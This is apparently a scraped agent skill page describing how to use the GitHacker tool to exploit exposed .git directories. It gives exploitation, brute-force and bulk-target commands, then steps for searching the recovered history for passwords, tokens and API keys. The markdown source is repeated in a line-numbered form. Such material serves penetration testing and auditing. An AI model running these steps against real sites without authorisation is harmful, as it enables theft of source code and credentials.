GitHacker .git Leak Exploitation
GitHacker focuses on complete recovery from .git directory exposure — not only source code, but also the stash, all branches/tags, and the reflog. Passwords and debug code that developers deleted often hide in these places.
Project URL: https://github.com/WangYihang/GitHacker
Installation
pip install GitHacker
# or
f8x -install githacker
Basic Usage
# Quick exploitation
githacker --url http://target/.git/ --output-folder result
# Brute-force branch/tag names (must be enabled when the target has directory listing disabled)
githacker --brute --url http://target/.git/ --output-folder result
# Bulk targets (one URL per line)
githacker --brute --url-file websites.txt --output-folder result
Docker Usage (Recommended)
A remote .git directory may contain injected malicious content (such as hooks scripts), so running it in Docker is safer:
docker run -v $(pwd)/results:/tmp/githacker/results \
wangyihang/githacker \
--brute --output-folder /tmp/githacker/results \
--url http://target/.git/
Post-Recovery Audit Workflow
The directory recovered by GitHacker is a complete git repository that can be audited directly with git commands:
cd result/target/
# 1. Review the commit history (focus on deleted sensitive information)
git log --oneline --all
git log -p --all -S "password"
git log -p --all -S "secret"
git log -p --all -S "flag"
# 2. Review all branches (development/test branches often hold sensitive information)
git branch -a
git checkout dev # switch to the development branch and take a look
# 3. Review the stash (changes developers parked temporarily)
git stash list
git stash show -p stash@{0}
# 4. Review the reflog (find commits that were reset away)
git reflog
git show <commit-hash>
# 5. Search for credentials
grep -rn "password\|secret\|token\|api_key\|flag{" .
Comparison with Other Tools
| Capability |
GitHacker |
git-dumper |
GitHack |
| Source code recovery |
✅ |
✅ |
✅ |
| Stash recovery |
✅ |
✅ |
❌ |
| All branches |
✅ (brute-force enumeration) |
❌ |
❌ |
| All tags |
✅ (brute-force enumeration) |
❌ |
❌ |
| Reflog |
✅ |
✅ |
❌ |
| No directory listing |
✅ |
✅ |
✅ |
git-dumper is good for quickly grabbing the source code; GitHacker's --brute mode covers more branches and tags, which suits deep audits.
Decision Tree
Does /.git/HEAD return 200?
├─ Directory listing enabled (200) → exploit with githacker directly
├─ Directory listing disabled (403) → githacker --brute (brute-force enumerate branches/tags)
├─ Need the source code quickly → git-dumper also works
└─ Scan multiple targets in bulk → githacker --url-file websites.txt
1---2name: githacker-git-leak3description: "Uses GitHacker to exploit .git directory exposure vulnerabilities and recover the target source code. GitHacker is a multi-threaded .git leak exploitation tool that recovers more complete content than git-dumper/GitHack — including the stash, all branches, tags, and the reflog. Even when the target has directory listing disabled (403), branches and tags can be recovered through brute-force enumeration. Use this skill when /.git/HEAD or /.git/config returns 200, when a .git/ directory is found in the directory listing, or when version-control-related files are discovered during recon. After recovering the source code, you can look for hardcoded credentials, API keys, and database connection strings"4zh-signals: "使用 GitHacker 利用 .git 目录泄露并完整恢复源码、分支与 stash。信号:.git泄露,GitHacker,源码恢复,分支枚举,凭据搜索。"5when-to-use: >-6 Use when a target exposes /.git/HEAD or /.git/config, when a .git directory is discovered during recon, or when recovering source code, branches, tags, stash, and reflog from a git leak.7metadata:8 source: https://skillmd.com/skills/dangeroussong/githacker-git-leak9 tags: "githacker,git,leak,exposure,source-code,source-code,dump,recovery,web,information-disclosure,.git,.git/HEAD,.git/config,git-directory,version-control,git-dumper,git-hack,source-recovery,commit-history,code-leak"10 category: "tool"11---1213# GitHacker .git Leak Exploitation14- 攻击大类:C27 本地凭证与浏览器窃取1516GitHacker focuses on **complete recovery** from .git directory exposure — not only source code, but also the stash, all branches/tags, and the reflog. Passwords and debug code that developers deleted often hide in these places.1718Project URL: https://github.com/WangYihang/GitHacker1920## Installation2122```bash23pip install GitHacker24# or25f8x -install githacker26```2728## Basic Usage2930```bash31# Quick exploitation32githacker --url http://target/.git/ --output-folder result3334# Brute-force branch/tag names (must be enabled when the target has directory listing disabled)35githacker --brute --url http://target/.git/ --output-folder result3637# Bulk targets (one URL per line)38githacker --brute --url-file websites.txt --output-folder result39```4041## Docker Usage (Recommended)4243A remote .git directory may contain injected malicious content (such as hooks scripts), so running it in Docker is safer:4445```bash46docker run -v $(pwd)/results:/tmp/githacker/results \47 wangyihang/githacker \48 --brute --output-folder /tmp/githacker/results \49 --url http://target/.git/50```5152## Post-Recovery Audit Workflow5354The directory recovered by GitHacker is a complete git repository that can be audited directly with git commands:5556```bash57cd result/target/5859# 1. Review the commit history (focus on deleted sensitive information)60git log --oneline --all61git log -p --all -S "password"62git log -p --all -S "secret"63git log -p --all -S "flag"6465# 2. Review all branches (development/test branches often hold sensitive information)66git branch -a67git checkout dev # switch to the development branch and take a look6869# 3. Review the stash (changes developers parked temporarily)70git stash list71git stash show -p stash@{0}7273# 4. Review the reflog (find commits that were reset away)74git reflog75git show <commit-hash>7677# 5. Search for credentials78grep -rn "password\|secret\|token\|api_key\|flag{" .79```8081## Comparison with Other Tools8283| Capability | GitHacker | git-dumper | GitHack |84|------|-----------|------------|---------|85| Source code recovery | ✅ | ✅ | ✅ |86| Stash recovery | ✅ | ✅ | ❌ |87| All branches | ✅ (brute-force enumeration) | ❌ | ❌ |88| All tags | ✅ (brute-force enumeration) | ❌ | ❌ |89| Reflog | ✅ | ✅ | ❌ |90| No directory listing | ✅ | ✅ | ✅ |9192git-dumper is good for quickly grabbing the source code; GitHacker's `--brute` mode covers more branches and tags, which suits deep audits.9394## Decision Tree9596```97Does /.git/HEAD return 200?98├─ Directory listing enabled (200) → exploit with githacker directly99├─ Directory listing disabled (403) → githacker --brute (brute-force enumerate branches/tags)100├─ Need the source code quickly → git-dumper also works101└─ Scan multiple targets in bulk → githacker --url-file websites.txt102```